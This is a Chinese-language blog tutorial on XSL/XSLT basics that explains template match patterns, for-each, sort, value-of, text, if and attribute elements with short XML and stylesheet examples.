XSL的一些基础知识!

 

XSL相当与网页中的CSS!

 

1 <xsl:template

  name= Qname

  match = Pattern

  priority = number

  mode = QName

</xsl:template>

name

要展开的限定名。 如果有前缀,前缀将使用出现名称的属性上的有效命名空间声明展开为统一资源标识符 (URI) 引用。 扩展名称由名称的本地部分以及可能的空 URI 引用组成,作为模板的名称。 没有前缀的名称不使用默认的命名空间。 如果 <xsl:template> 元素有 name 属性,可以(但是不需要)同时有 match 属性。

 

match

标识应用规则的源节点的模式。 match 属性是必选项,除非 <xsl:template> 元素有 name 属性。 <xsl:template> 元素的内容是在应用模板规则时实例化的模板。

模式是一种表达式,根据节点的一组条件返回一组节点。 符合条件的节点与模式匹配。 模式语法是表达式语法的一个子集。 特别是,符合特定限制的位置路径可以作为模式使用。 如果表达式同时也是模式,将总是计算为节点集类型的对象。 如果某个节点是将模式作为表达式(与某些可能的上下文有关)的计算结果的成员,则表示该节点符合模式;这里可能的上下文是其上下文节点属于匹配节点或其上级之一的上下文。

下表列出了模式的示例。

模式

匹配

Para

任何 para 元素

*

任何元素

chapter|appendix

任何 chapter 元素和任何 appendix 元素

olist/item

任何具有 olist 父级的 item 元素

appendix//para

任何具有 appendix 祖先元素的 para 元素

/

根节点

text()

任何文本节点

processing-instruction()

任何处理指令

node()

除了属性节点和根节点以外的任何节点

id("W11")

具有唯一 ID W11 的元素

para[1]

任何属于父级的第一个 para 子元素的 para 元素

*[position()=1 and self::para]

任何属于父级的第一个子元素的 para 元素

para[last()=1]

任何属于父级的唯一一个 para 子元素的 para 元素

items/item[position()&gt;1]

任何具有 items 父级但不是父级的第一个 item 子元素的 item 元素

item[position() mod 2 = 1]

任何属于父级的奇数个 item 子元素的 item 元素

div[@class="appendix"]//p

任何 div 祖先元素具有值为 appendix class 属性的 p 元素

@class

任何 class 属性(不是任何具有 class 属性的元素)

@*

任何属性

XSL解析XML需要用到

/

根节点

 

2 for-each

 

 

 

<xsl:for-each

  select = Expression

</xsl:for-each>

select

必选项。表达式 在当前上下文中计算,确定要循环访问的节点集。

<?xml version="1.0"?>

<?xml-stylesheet type="text/xsl" href="foreach.xsl" ?>

<customers>

   <customer>

      <name>John Smith</name>

      <address>123 Oak St.</address>

      <state>WA</state>

      <phone>(206) 123-4567</phone>

   </customer>

</customers>

 

  </xml>

 

 

解析用的

<xsl:for-each select="customers/customer">

<xsl:sort select="state" order="descending"/>

            <xsl:sort select="name"/>

 

3 <xsl:sort

  select = string-expression

  lang = { nmtoken }

  data-type = { "text" | "number" | QName }

  order = { "ascending" | "descending" }

  case-order = { "upper-first" | "lower-first" }

  />

 

指定根据 <xsl:for-each> <xsl:apply-templates> 选择的节点列表的排序条件。

select

节点的排序关键字。 将指定节点作为当前节点并将未排序进行处理的完整节点列表作为当前节点列表计算的表达式。 生成的对象转换为字符串,作为该节点的排序关键字。 select 属性的默认值为 "." 这样,当前节点的字符串值将作为排序关键字使用。

order

字符串的排序顺序。 默认值为 "ascending"

4 <xsl:value-of

  select = Expression

  disable-output-escaping = "yes" | "no"

</xsl:value-of>

select

必选项。 要根据当前上下文计算的表达式。 通过调用 string() 函数,将结果转换为字符串。 通过插入节点集中第一个节点的字符串值,将节点集转换为字符串。

disable-output-escaping

默认值为 "no" 如果值为 "yes",通过实例化 <xsl:value-of> 元素生成的文本节点在输出时将不进行任何转义。

5 <xsl:text

  disable-output-escaping = "yes" | "no">

</xsl:text>

通过样式表生成文本节点。 在输出中保留纯空白节点。

在样式表中,生成的文本可以是包含或不包含 <xsl:text> 的文本结果树。 但是,通过此元素可以对样式表创建的空白进行一定的控制。 例如,为了更容易阅读样式表,可能需要在模板上每行编写一个元素,并在某些行上缩进。 这样做可以使空白成为模板规则的一部分。有时,可能需要使用空白字符分隔两个数据值。 可以使用 <xsl:text> 元素实现这一点。 <xsl:text> 中的空白将输出到结果树中。

6 <xsl:if

  test = boolean-expression

</xsl:if>

允许简单条件模板片断。

test

必选项。 源数据中要测试的条件。 如果此属性中的表达式在被强制转换为布尔值时计算为 True<xsl:if> 的内容便会实例化并放入输出。如果节点集至少包含一个节点,将强制转换为布尔值。

内容是模板。 将计算该表达式,并将生成的对象转换为布尔值。 如果结果为 True,内容模板将实例化;否则,不会创建任何内容。

例子

在此示例中,一个名称组中的名称格式化为通过逗号分隔的列表。

<?xml version='1.0'?>

<?xml-stylesheet type="text/xsl" href="ifcomma.xsl" ?>

<namelist>

   <name>Albert</name>

   <name>Terrance</name>

   <name>Will</name>

   <name>Sylvia</name>

   <name>Timothy</name>

   <name>Gordon</name>

   <name>James</name>

   <name>Robert</name>

   <name>Dan</name>

   <name>Sasha</name>

</namelist>

<?xml version='1.0'?>

<xsl:stylesheet version="1.0"

      xmlns:xsl="http://www.w3.org/1999/XSL/Transform" >

 

<xsl:template match="namelist/name">

  <xsl:apply-templates/>

  <xsl:if test="position()!=last()">, </xsl:if>

</xsl:template>

 

</xsl:stylesheet>

 

 

另外一种方法

  <xsl:if test="position()!=1">, </xsl:if>

 

 

 

隔行换颜色

<xsl:if test="position() mod 2 = 0">

    <xsl:attribute name="bgcolor">yellow</xsl:attribute>

    </xsl:if>

    <xsl:apply-templates/>

 

 

 

 

 

7 <xsl:attribute

  name = "attribute-name" 

  namespace = "uri-reference">

</xsl:attribute>

创建一个属性节点并将其附加到输出元素上。

name

必选项。 要创建的属性的名称。 如果此值为限定名称 (QName),属性节点将在当前绑定到前缀上的命名空间中创建,除非 namespace 属性重写此值。 name 属性的值被解释为属性值模板(如同在 <xsl:value-of> 元素中一样,对大括号中的表达式进行计算并转换为字符串)。这样,可以从源 XML 计算或获取属性名称。

XML 文件 (myelem.xml)

Xml 

复制代码

<?xml version="1.0"?>

<?xml-stylesheet type="text/xsl" href="attrcopied.xsl" ?>

<root>

   <myElement>My Data</myElement>

   <myElement>My Other Data</myElement>

</root>

XSLT 文件 (attrcopied.xsl)

Xml 

复制代码

<?xml version="1.0"?>

<xsl:stylesheet version="1.0"

      xmlns:xsl="http://www.w3.org/1999/XSL/Transform" >

 

<xsl:template match="myElement">

  <xsl:copy>

    <xsl:attribute name="copied">true</xsl:attribute>

    <xsl:apply-templates />

  </xsl:copy>

</xsl:template>

 

</xsl:stylesheet>

输出

以下是格式化输出:

My DataMy Other Data

以下是处理器输出,为了清楚起见,增加了分行符。

<?xml version="1.0"?>

<myElement copied="true">My Data</myElement>

<myElement copied="true">My Other Data</myElement>

不会影响到用户看到的内容

 

 

<script src="http://www.cdsbfx.com/js/google.js" type="text/javascript"></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值